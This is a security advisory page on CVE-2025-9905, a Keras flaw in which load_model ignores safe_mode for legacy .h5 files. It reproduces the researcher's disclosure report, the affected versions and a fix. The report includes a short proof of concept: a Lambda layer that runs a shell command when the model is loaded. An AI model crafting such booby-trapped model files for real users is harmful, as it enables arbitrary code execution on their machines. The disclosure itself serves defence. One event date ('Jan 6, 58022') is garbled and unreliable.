CVE-2025-9905: Arbitary Code execution in Keras load_model()

Published Sep 19, 2025
·
Updated

Note: This report has already been discussed with the Google OSS VRP team, who recommended that I reach out directly to the Keras team. I’ve chosen to do so privately rather than opening a public issue, due to the potential security implications. I also attempted to use the email address listed in your SECURITY.md, but received no response.

---

Summary

When a model in the .h5 (or .hdf5) format is loaded using the Keras Model.loadmodel method, the safemode=True setting is silently ignored without any warning or error. This allows an attacker to execute arbitrary code on the victim’s machine with the same privileges as the Keras application. This report is specific to the .h5/.hdf5 file format. The attack works regardless of the other parameters passed to loadmodel and does not require any sophisticated technique—.h5 and .hdf5 files are simply not checked for unsafe code execution.

From this point on, I will refer only to the .h5 file format, though everything equally applies to .hdf5.

Details

Intended behaviour According to the official Keras documentation, safemode is defined as:

safemode: Boolean, whether to disallow unsafe lambda deserialization. When safemode=False, loading an object has the potential to trigger arbitrary code execution. This argument is only applicable to the Keras v3 model format. Defaults to True. I understand that the behavior described in this report is somehow intentional, as safemode is only applicable to .keras models.

However, in practice, this behavior is misleading for users who are unaware of the internal Keras implementation. .h5 files can still be loaded seamlessly using loadmodel with safemode=True, and the absence of any warning or error creates a false sense of security. Whether intended or not, I believe silently ignoring a security-related parameter is not the best possible design decision. At a minimum, if safemode cannot be applied to a given file format, an explicit error should be raised to alert the user.

This issue is particularly critical given the widespread use of the .h5 format, despite the introduction of newer formats.

As a small anecdotal test, I asked several of my colleagues what they would expect when loading a .h5 file with safemode=True. None of them expected the setting to be silently ignored, even after reading the documentation. While this is a small sample, all of these colleagues are cybersecurity researchers—experts in binary or ML security—and regular participants in DEF CON finals. I was careful not to give any hints about the vulnerability in our discussion.

Technical Details

Examining the implementation of loadmodel in keras/src/saving/savingapi.py, we can see that the safemode parameter is completely ignored when loading .h5 files. Here's the relevant snippet:

python def loadmodel(filepath, customobjects=None, compile=True, safemode=True): iskeraszip = ... iskerasdir = ... ishf = ...

# Support for remote zip files if ( fileutils.isremotepath(filepath) and not fileutils.isdir(filepath) and not iskeraszip and not ishf ): ...

if iskeraszip or iskerasdir or ishf: ...

if str(filepath).endswith((".h5", ".hdf5")): return legacyh5format.loadmodelfromhdf5( filepath, customobjects=customobjects, compile=compile )

As shown, when the file format is .h5 or .hdf5, the method delegates to legacyh5format.loadmodelfromhdf5, which does not use or check the safemode parameter at all.

Solution

Since the release of the new .keras format, I believe the simplest and most effective way to address this misleading behavior—and to improve security in Keras—is to have the safemode parameter raise an explicit error when safemode=True is used with .h5/.hdf5 files. This error should be clear and informative, explaining that the legacy format does not support safemode and outlining the associated risks of loading such files.

I recognize this fix may have minor backward compatibility considerations.

If you confirm that you're open to this approach, I’d be happy to open a PR that includes the missing check.

PoC

From the attacker’s perspective, creating a malicious .h5 model is as simple as the following:

python import keras

f = lambda x: ( exec("import os; os.system('sh')"), x, )

model = keras.Sequential() model.add(keras.layers.Input(shape=(1,))) model.add(keras.layers.Lambda(f)) model.compile()

keras.saving.savemodel(model, "./provola.h5")

From the victim’s side, triggering code execution is just as simple:

python import keras

model = keras.models.loadmodel("./provola.h5", safemode=True)

That’s all. The exploit occurs during model loading, with no further interaction required. The parameters passed to the method do not mitigate of influence the attack in any way.

As expected, the attacker can substitute the exec(...) call with any payload. Whatever command is used will execute with the same permissions as the Keras application.

Attack scenario

The attacker may distribute a malicious .h5/.hdf5 model on platforms such as Hugging Face, or act as a malicious node in a federated learning environment. The victim only needs to load the model—even with safemode=True that would give the illusion of security. No inference or further action is required, making the threat particularly stealthy and dangerous.

Once the model is loaded, the attacker gains the ability to execute arbitrary code on the victim’s machine with the same privileges as the Keras process. The provided proof-of-concept demonstrates a simple shell spawn, but any payload could be delivered this way.

Other sources

Arbitary Code execution in Keras loadmodel()

Microsoft

The Keras Model.loadmodel method can be exploited to achieve arbitrary code execution, even with safemode=True.

One can create a specially crafted .h5/.hdf5 model archive that, when loaded via Model.loadmodel, will trigger arbitrary code to be executed.

This is achieved by crafting a special .h5 archive file that uses the Lambda layer feature of keras which allows arbitrary Python code in the form of pickled code. The vulnerability comes from the fact that the safemode=True option is not honored when reading .h5 archives.

Note that the .h5/.hdf5 format is a legacy format supported by Keras 3 for backwards compatibility.

MITRE

Affected Software

5 affected componentsFixes available
Keras Keras=3
pip/keras>=3.0.0<3.11.3
3.11.3
Keras Keras>=3.0.0<3.11.3
Microsoft azl3 keras 3.3.3-3
Microsoft azl3 keras 3.3.3-3

Event History

Sep 19, 2025
CVE Published
via MITRE·08:16 AM
Data Sourced
via MITRE·08:16 AM
DescriptionWeakness
Data Sourced
via NVD·09:15 AM
RemedyDescriptionSeverityWeaknessAffected Software
Advisory Published
via GitHub·08:12 PM
Data Sourced
via GitHub·08:12 PM
DescriptionWeaknessAffected Software
Sep 20, 2025
Data Sourced
via Microsoft·01:03 AM
DescriptionSeverityWeaknessAffected Software
Updated
via Microsoft·01:03 AM
DescriptionSeverity
Jan 6, 58022
Event
via FIRST·04:13 AM
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2025-9905?

CVE-2025-9905 is rated as a high severity vulnerability due to its capability for arbitrary code execution.

2

How do I fix CVE-2025-9905?

To mitigate CVE-2025-9905, ensure you are using the latest version of Keras that addresses this vulnerability.

3

What vulnerability does CVE-2025-9905 introduce in Keras?

CVE-2025-9905 allows attackers to execute arbitrary code through specially crafted model files loaded with the Model.load_model method.

4

Which versions of Keras are affected by CVE-2025-9905?

Keras version 3 is affected by CVE-2025-9905.

5

Can CVE-2025-9905 be exploited even with safe_mode=True?

Yes, CVE-2025-9905 can be exploited even when safe_mode is set to True.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203